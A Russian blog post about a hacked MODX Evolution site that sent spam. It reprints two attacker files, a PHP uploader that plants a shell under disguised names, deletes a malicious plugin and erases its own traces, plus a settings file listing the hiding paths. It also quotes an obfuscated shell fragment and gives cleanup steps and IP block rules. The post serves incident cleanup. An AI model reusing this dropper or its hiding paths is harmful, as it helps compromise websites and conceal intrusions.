меню

Служба мониторинга сервисов хостинг провайдера известила, что один из моих сайтов рассылает спам. При проверке сайта на наличие вредоностного кода, антивирусы промолчали. Пришлось воспользоваться гуглом. По данной проблеме MODX Evo: Массовая рассылка корреспонденции (SPAM) информации набралось не так уж много. На сайте одного из MODx сообществ решался аналогичный вопрос "Похоже тоже взломали. Пошли письма". Т.е. на сайт был загружен Shell, который производил массовую рассылку СПАМА.

Похоже тоже взломали. Пошли письма.

Один из участников сообщества поделился некими ранее обнаружившимися несколькими интересными файлами через которые все это безобразие заливается.

UploadShell.php


<?php

require_once $_SERVER['DOCUMENT_ROOT'].'/assets/cache/temp/FileSettings.php';
$file = file_get_contents($filePath);
$res = file_put_contents($uploadPath, $file);

global $modx;
$pluginsTable = $modx->getFullTableName("site_plugins");
$result = $modx->db->query("SELECT id FROM $pluginsTable WHERE name = 'exp' ");
$count = mysql_num_rows($result);

if ($count > 0) {
        $row = $modx->db->getRow($result);
        
        if ($row['id']) {
                $pluginDel = $modx->db->query("DELETE FROM $pluginsTable WHERE name = 'exp' ");

                $eventsTable = $modx->getFullTableName("site_plugin_events");
                $id = $row['id'];
                $eventDel = $modx->db->query("DELETE FROM $eventsTable WHERE pluginid = $id ");

                $modx->clearCache();
        include_once MODX_BASE_PATH . "manager/processors/cache_sync.class.processor.php";
        $sync = new synccache();
        $sync->setCachepath(MODX_BASE_PATH . "assets/cache/");
        $sync->setReport(false);
        $sync->emptyCache();
        }
}

unlink($filePath);
unlink($_SERVER['DOCUMENT_ROOT'].'/assets/cache/temp/FileSettings.php');
unlink($_SERVER['DOCUMENT_ROOT'].'/assets/cache/temp/UploadShell.php');

echo $res;
die();

FileSettings.php


<?php

# $uploadBasePath = '/manager/processors/kill.processor.php';
# $uploadBasePath = '/assets/images/logo.php';
# $uploadBasePath = '/manager/includes/lang/country/murug_country.inc.php';
 $uploadBasePath = '/lang.php';
# $uploadBasePath = '/manager/media/style/MODxCarbon/images/icons/index.php'; # 7c39_0303.php
# $fileBaseName = '841rewb3v4x.php';
 $fileBaseName = 'lang.php';

$uploadPath    = $_SERVER['DOCUMENT_ROOT'].$uploadBasePath;
$filePath          = $_SERVER['DOCUMENT_ROOT'].'/assets/cache/temp/'.$fileBaseName;
$localFilePath = '/var/www/jonin/data/www/niblocklogistics.com/retro2/protected/commands/'.$fileBaseName;

Решение

Проверить папки с путями, что указаны в коде. Удалить файлы, что указаны в коде. Файлы Shell'а содержат обфусцированый код ${"\x47L\x4f\x42\x41\x4c\x53"}["\x68u\x77\x69\x76\x63\x61\x71wk\x79\x79"] ... Так же необходимо удалить папку temp, которая лежит assets/cache/.


# $uploadBasePath = '/manager/processors/kill.processor.php';
# $uploadBasePath = '/assets/images/logo.php';
# $uploadBasePath = '/manager/includes/lang/country/murug_country.inc.php';
 $uploadBasePath = '/lang.php';
# $uploadBasePath = '/manager/media/style/MODxCarbon/images/icons/index.php'; # 7c39_0303.php
# $fileBaseName = '841rewb3v4x.php';
 $fileBaseName = 'lang.php';

После того, как вы удалили вредоносные файлы Shell'a. Пройдите следующую процедуру.

  • Произведите BackUp всего проекта и Базы Данной.
  • Обновите Вашу систему управления до последней актуальной версии.
  • Смените пароль FTP доступа.
  • В файл htaccess добавить правило

 


Order Deny,Allow
Deny from 80.243.184.227
Deny from 77.59.166.128
Deny from 146.185.239.19

Помощь сайту
ЮMoney:
4100 1180 7209 833
Карта Сбербанк:
2202 2080 6183 7127
MindForge: Pull Request наставник для GitHub
MindForge: Pull Request наставник для GitHub
Превратите свой пет-проект в эффективный тренажёр роста

Возможно, вам будет интересно

Документация по pdoMenu

pdoMenu - сниппет генерации меню. Может заменять Wayfinder, и позволяет более гибко указывать параметры. Например, умеет строить меню сразу из нескольких родителей, отображая их как вместе, так и отдельными ветками.

Как сделать меню на MODx при помощи Wayfinder

Недавно меня попросили пофиксить баг с меню на одном сайте – некоторые пункты упорно не хотели выстраиваться в ряд, а вместо этого вылезали в неожиданных местах страницы при наведении курсора. Баг заключался не в кривом css, как я предположила сначала, а в криво настроенном вызове Wayfinder.

По шаговое обновление Modx Revolution до последней версии

В данной статье будет описано пошаговое обновление ядра MODx Revo. Речь пойдет, как обновить Ваш сайт на Modx Revolution до последней версии. Все достаточно просто и не потребует особых знаний.

Документация MIGx

MIGX это специальный тип дополнительных полей (TV), созданный для того чтобы объединить несколько разных TV в один. Такая система объединенных полей очень сильно упрощает администрирование сайта, когда есть необходимость заполнять много информации.